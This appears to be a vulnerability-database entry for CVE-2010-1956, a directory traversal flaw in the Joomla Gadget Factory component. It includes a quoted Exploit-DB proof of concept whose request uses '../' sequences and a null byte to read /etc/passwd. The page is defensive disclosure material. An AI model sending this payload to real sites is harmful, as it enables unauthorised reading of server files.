CVE-2010-1956

high

Published 2010-05-19 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

Directory traversal vulnerability in the Gadget Factory (com_gadgetfactory) component 1.0.0 and 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. NOTE: some of these details are obtained from third party information.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-12285 webapps php verified text · 1 KB

AntiSecurity · 2010-04-18

Joomla! Component Gadget Factory 1.0.0 - Local File Inclusion

text exploit Source: Exploit-DB

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  [o] Joomla Component Gadget Factory Local File Inclusion Vulnerability
 
       Software : com_gadgetfactory version 1.0.0
       Vendor   : http://www.thefactory.ro/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


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  [o] Exploit

       http://localhost/[path]/index.php?option=com_gadgetfactory&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00


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  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia

Application impact

Vendor	Product	Versions
thefactory	com_gadgetfactory	`1.0.0`
thefactory	com_gadgetfactory	`1.5.0`
joomla	joomla\!

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.